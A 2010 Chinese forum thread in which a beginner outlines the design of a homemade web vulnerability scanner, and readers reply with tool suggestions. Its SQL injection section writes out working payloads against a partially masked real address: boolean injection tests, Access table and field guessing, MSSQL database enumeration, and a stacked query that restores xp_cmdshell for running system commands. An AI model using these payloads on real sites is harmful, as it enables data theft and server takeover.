首页
社区
课程
招聘
[讨论]网站检测工具设想
发表于: 2010-8-21 21:15 10236

[讨论]网站检测工具设想

2010-8-21 21:15
10236
网站检测工具设想
作者:ssLong  QQ:253651745
由于种种原因需要写一个网站监测工具,但是我是一个垃圾中的垃圾,只能摸着石头过河,硬着头皮往前走,所以,想总结一下最近工作,其实应该说是所学,希望各位高人指教、批评(高人勿浪费时间)!
网站监测是一项很复杂的过程,请教谁都会说,每个网站各不相同,从编程语言asp、jsp、php、aspx等 到网站的整体架构 及设计都可能千差万别,因此对网站的监测存在很大的难度,可能最万能的方法就是手工,但是很多时候都是手工+工具、工具就是一段执行固定代码的死程序,很难令人满意,但是其可以重复快速做有规律的事情,却是一大优点,但是人有智慧能思考,这样双方互相弥补事半功倍。仅是菜鸟的想法。
做一件事情,首先应该咨询别人的意思,我觉得这也是一个很好的习惯。但是当他人知道我要写这样的东西,一直反对票,砸的我喘不过气来,呵呵,理由很简单,现在流行的工具很多,功能很强大,常见的都漏洞都是扫描范围、很是不错,自己写就是做无用功,但是没有办法,这个是任务,没有选择的余地,不是我死犟^_^.
但是还是有些人,提供了一些个人观点和供我参考的工具,在此深深鞠上一弓表示真诚的感谢,能在自己力所能及的情况下,帮助像我这样需要帮助的人,何乐而不为呢?
这样我就开始了我的”开发之旅“!
首先就是整理思路,我想像正规软件开发软件的程序走,虽然我写的可能仅是程序,或者就是代码,呵呵 暂且不去管它。首先想到的自然是需求了,其实老师的需求很简单,网络检测工具。因此,略过此篇!我就是需求者兼开发者。
需求可以没有,总体设计总应该有吧!没有什么说的没做过,不知道怎么做,就是大刀阔斧,卡卡卡几大块,就完事!
一、        用户交互界面 :主要功能,获得用户输入信息,作为程序运行的参数,然后将程序运行的结果,显示给用户。
二、        程序部分:主要完成各种检测功能。
三、        数据库部分:保存检测的中间结果,并且保存最终检测的有用信息。
  (唉,可能网站弄多了,怎么有点像网站开发呢,不管了继续)
用户交互界面:
主界面:输入待检测的网址、显示检测的结果
注入攻击界面:主要功能,提供一个url网站,判断是否可以注入,可注入之后显示猜到的表名、字段名、和其中的内容
后台检测界面:这个界面主要是通过猜测的方法来获得网站的后台登陆页
设置界面:主要是设置扫描过程中用的一些信息
程序部分:大体划分
初始化模块:接收用户输入网址、清空扫描过程中保存临时url的数据表
HTTP操作模块:对提供的url可以获得该页的源代码,返回状态吗,判断请求是否成功,同时获得源代码的长度等操作。
爬行模块:  对一个url的源代码进行分析,提取出里面的url,并且判断是否有输入框(以便进行XSS判断)
数据库操作模块:主要负责所有的与数据库打交道的内容,如读取、插入、更新、删除等等。
检测模块:主要功能,对一个url或者url的源代码,进行sql注入检测、xss检测、目录浏览检测、暴库检测(仅判断源码中是否有mdb路径 呵呵 见笑了)、后台页检测(猜测+源代码检测)、上传文件检测(主要是利用http 的写入权限 使用put方法上传 很少见)。
结果显示模块:主要负责对检测结果进行分析,找出其中的有响应漏洞的url,并将它们分别显示在界面和保存到数据库其他表中。
功能关系:程序运行后,显示主界面,用户输入待检测的网站,开始检测,主流程调用初始化模块,清空数据库相应表,开启爬行模块,开始爬行网站,将结果保存到数据库中。
当爬行线程运行后,启动sql检测和xss检测线程,从数据库中读url,进行响应检测。同时可以启动猜测url线程,因为此线程并不影响其他线程。在爬行网站的时候,需要获取url源代码,因此,在爬行线程中,将源代码作为参数开启 线程完成暴库、后台检测、目录浏览检测等与源代码相关的检测,尽可能减少请求源码的次数,增加效率,减少时间。
   当所有线程都结束之后,调用结果处理模块,分析扫描结果进行存储和显示。

详细设计
1、        界面不去说了,想怎么弄就怎么弄了,怎么好看怎么方便就怎么弄
2、        http操作也简单,主要使用httpclient开发包实现的,但是请求源码时经常有乱码 找了很多方法,好像好了,java的编码总是出现乱码,真是头疼。
3、        爬行模块,也是很简单,主要使用htmlparser来做的,主要得到超级链接中的url、和判断是否有文本输入框。url主要为了继续爬行,获得更多url,文本框的地方可能没有过滤产生xss,因此需要判断。获得url后来做的时候才发现真的是很复杂,htmlparser只能得到一个url,但是这个里面的信息,同样分析起来让人头疼,呵呵,什么都头疼在编程的世界里。我的思路:首先判断是否是http://开头,是说明是一个决定路径,然后判断是否包含.html、.htm、.asp、.aspx、.jsp、.php、.shtml、可能还拉了一些,但是思想就是判断是否是网页的链接,有时可能是文件的链接 如doc/pdf等,这些文件对于网站检测无用,因此去掉,本程序借用爬虫思想,并不是完全的爬虫。如果不是以http://开头 则要判断是否是js脚本dopostback 和\”开头(\”开头主要是在其他变量中存在的url),如果是 去掉,然后,到这里就是相对路径了 同样需要判断是否是需要的文件 还是判断一下是否是.html、.htm、.asp、.aspx、.jsp、.php、.shtml、等页,如果是 继续后,判断是否以/、.. 开头等等 因为它们需要进行回溯处理,很是麻烦,不说了 当然还有我没有想到的地方,因为url的路径太千奇百怪了。这样url获得之后 直接存入数据库 完成爬行功能。
4、        检测模块是重中之重,
主要是sql注入:这个比较古老的问题了,但是还是经常能找到,但是写成工具还真麻烦,现在也没弄明白 真是佩服那些高人写的工具。
首先判断是否有注入点,这个使用了经典的三步走战略,
              http://202.107.127.##:8080/news.asp?id=504 ‘
              http://202.107.127.##:8080/news.asp?id=504 and 1=1
http://202.107.127.##:8080/news.asp?id=504 and 1=2
但是手动很容易看出来,正常与异常,但是程序怎么来判断这个结果呢?首先想到的自然是通过http返回的状态码,这个应该是正确的思路,但是问题总是接踵而至,让人应接不暇呀。有些网站输入1=2时状态码是正常的200但是 信息部分没有 我们用眼睛很容易看出来,程序怎么分析,想了很久,终于想到了一种方法,不知道是否可行,正在尝试中,呵呵,希望可行,可是原创,也许别人想到了,或者有更好的,但是我笨刚想到没办法,但是也要安慰一下自我,笑一笑十年少呀。就是眼睛是通过信息的有无来判断是否正常的,那么我的程序也可以利用此方法来判断,但是我不能一个字符一个字符的去比较,只能模糊了,那么就是利用源码的长度了,信息一般都很多,我就设定源码长度差值在一个很小的数范围内是正常 ,程序中写的是15 ,当差值较大时,认为异常,将实验检查基本上与手动检查相似。现在才有点明白程序就是实现人的思想,一直在模仿从未超越(也许错了)。这样检查功能就完成了,开启线程,从数据库表中取得所有带参数的url就可以进行检查了。
判断数据库类型,这个也是很关键的,不同的数据库使用的方法也相同,我也是用常规方法,使用
http://202.107.127.##:8080/news.asp?id=504 and user>0 根据返回值来判断是什么数据库,主要是Access、MSSQL、MySQL(不会写)

Access数据库
这个数据库提供的功能太少,我知道的方法只有猜测,因此就是按猜的思想来实现了,首先猜测表,使用的语句
url and exists(select * from user) 这条猜测是否存在user表 当然有自己的待猜库 返回的页面正常就说明猜对了,有此表

猜到表之后猜字段 使用语句 (假设已猜到 user表)
url and (select count(待猜字段名) from user)>=0

接着猜字段长度
url and (select top 1 len(username) from  user)=?

猜字段的每一位
and (select top 1 asc(mid(password,n,1)) from  user)=? (猜字段第n位的ASCII码是否是?)

依次可以得到所有位
但是到目前为止 我的程序只能得到一条记录,当猜测下条记录时因为使用了top 1因此无法猜到,想到使用条件语句 not in () 过滤掉已猜到的记录,但是由于不知道各个字段的类型还是很麻烦,不知道这个问题怎么解决。同时还有一个中文怎么猜的问题还没有解决。

MSSQL数据库有很多可以利用的内置方法功能很强大,(对于网站危害也大),但是利用工作来做去很麻烦,不好实现,所以主要实现了几个简单的。直接贴代码注释了不写了 太累了
一、判断xp_cmdshell是否可执行 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 正常则可以
              恢复xp_cmdshell扩展存储的命令:http://www.test.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
             通过xp_cmdshell执行cmd命令(创建用户,提升用户权限 开telnet 开3389等等功能)
              还可以判断其他存储过程
           二、获得所有数据库 and db_name()>0 获得当前数据库 and db_name(n)>0 获得第n个数据库
              获得当前数据库下的所有表名and (select top 1 name from (Select top [1] id,name from sysobjects where xtype=char(85)) T order by id desc)>1
              获得某个数据表下的所有字段 and (select top 1 col_name(object_id('NB_IP'),2) from sysobjects)>1
             获得字段的内容 and (select top 1 Addname  from CP_Content where Addname not in ('wlb','zgfxwlb') )>1

Mysql数据库不会 就不丢人现眼了,留着高人指教吧

SQL注入就写到这里,主要能检测的主要是asp和aspx,但是只检测成功过asp的,还有一个需要主要的 就是编码,否则有些网站对url进行了过滤就无能为力了。

后台检测:主要是判断源代码中是否有 type=password来判断的、和使用常见后台进行猜测
目录浏览:主要判断网站源码中是否有一些关键字来判断的

数据库下载:同样对源代码进行关键字判断

Xss:还在设想中 主要困难,有验证码,输入信息有验证功能,程序很难都突破。

  结果处理,主要是根据数据库中结果信息进行处理,根据检测项进行分类,将有用信息保存到数据库其他表中长久保存(^_^).以便以后…
  数据库设计就不写了,能达到要求就行。

   基本上大体功能设计完成。开始coding、发现这个过程很难结束

真心希望各位高人批评指教。QQ:253651745 也希望想做web扫描工具的一起探讨...互相学习,谢谢,耽误了你宝贵时间!

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (22)
雪    币: 242
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
终于有人发点正常的帖子了  呵呵
手工确实麻烦   所以LZ你要写出来了 就在加个旁注查询
然后加个批量扫描这些站点 这样我可以省很多事  嘿嘿
还有要重视Cookies
2010-8-22 00:47
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
web漏洞扫描工具要做的事情很多,可以说是个大项目了。
建议还是搭个好的框架,易于扩展,然后一种漏洞一种漏洞地实现。
还可以以插件的形式来,这样以后出现新的漏洞形式只要增加一个插件就可以。
2010-9-7 17:10
0
雪    币: 199
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
正在研究ASP木马扫描器 有空可以探讨一下
2010-9-13 17:55
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
5
不是有开源的吗?
2010-9-13 18:21
0
雪    币: 62
活跃值: (60)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
值得尊敬的学习精神。
  不过可以推荐一款国外的SQL注入工具,很强大!
  软件名称:Havij
                    有需求的朋友可以加我Email:GM88@w.cn
2010-9-13 22:29
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
很麻烦 呵呵  工作量很大

WebInspect
AppScan
WVS

可以参考下

不过Havij我用了下,扫描出来的不算多
2010-10-9 14:17
0
雪    币: 87
活跃值: (25)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
8
希望爱好者 加我Q:253651745共同学习和进步 我是初学者
2010-10-23 21:41
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
这个帖子不错  仔细学习了下
2010-11-18 01:20
0
雪    币: 87
活跃值: (25)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
10
谢谢 有感兴趣的加我Q:253651745
2010-11-26 11:03
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不错的东西,谢谢分享
学到了不少东西
2010-12-6 19:29
0
雪    币: 87
活跃值: (25)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
12
谢谢各位 互相学习
2010-12-16 20:31
0
雪    币: 215
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
网站应用扫描方面,IBM的Rational和AWVS都是不错的,后者更快些。主要包含网站类型判断(平台),目录遍历,漏洞检测,注入和跨站检测。基本都是http请求的,lz可以抓包看看。需要一个漏洞库
2011-1-4 17:00
0
雪    币: 1585
活跃值: (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
呵呵,很好的学习精神
2011-3-24 12:45
0
雪    币: 1681
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
itf
15
楼主的学习和分析精神蛮可敬的
2011-3-30 09:15
0
雪    币: 87
活跃值: (25)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
16
谢谢 各位指点 希望继续交流...
2011-5-9 16:06
0
雪    币: 47
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
有难度的挑战呀
2011-5-9 16:55
0
雪    币: 61
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
LZ的把WEB扫描器首先必须有个好的框架,比如说网站的URL怎么分类,怎么储存,URL的参数分析,HTML的参数分析(WEB漏洞很大程度上出现在WEB应用传入的参数中),然后再在这些分析的基础上编写测试用例,不然只能设计出一款山寨的扫描器,漏报和误报都会很大。
2011-5-11 09:19
0
雪    币: 52
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
有相应的工具,可以借鉴一下!支持楼主!
2011-5-12 11:00
0
雪    币: 102
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
XSS不能轻视啊,结合CSRF可以构造异常强大的js语句直接欺骗获取管理员的明文密码
2011-10-5 14:39
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
好帖,楼主辛苦了
2011-11-10 22:31
0
雪    币: 87
活跃值: (25)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
22
谢谢大家支持,希望大家多多指点,说出自己好的想法.有人想一起加我,共同学习...
2011-11-14 09:22
0
雪    币: 324
活跃值: (113)
能力值: ( LV15,RANK:280 )
在线值:
发帖
回帖
粉丝
23
楼主加油,这个题目很有难度。单是sql注入检测模块都很难了。and 1=2 之类的方法很多时候不起作用。建议你先一些开源注入工具的构架,检测原理研究一下,他山之石嘛。
2011-12-23 17:27
0
游客
登录 | 注册 方可回帖
返回
//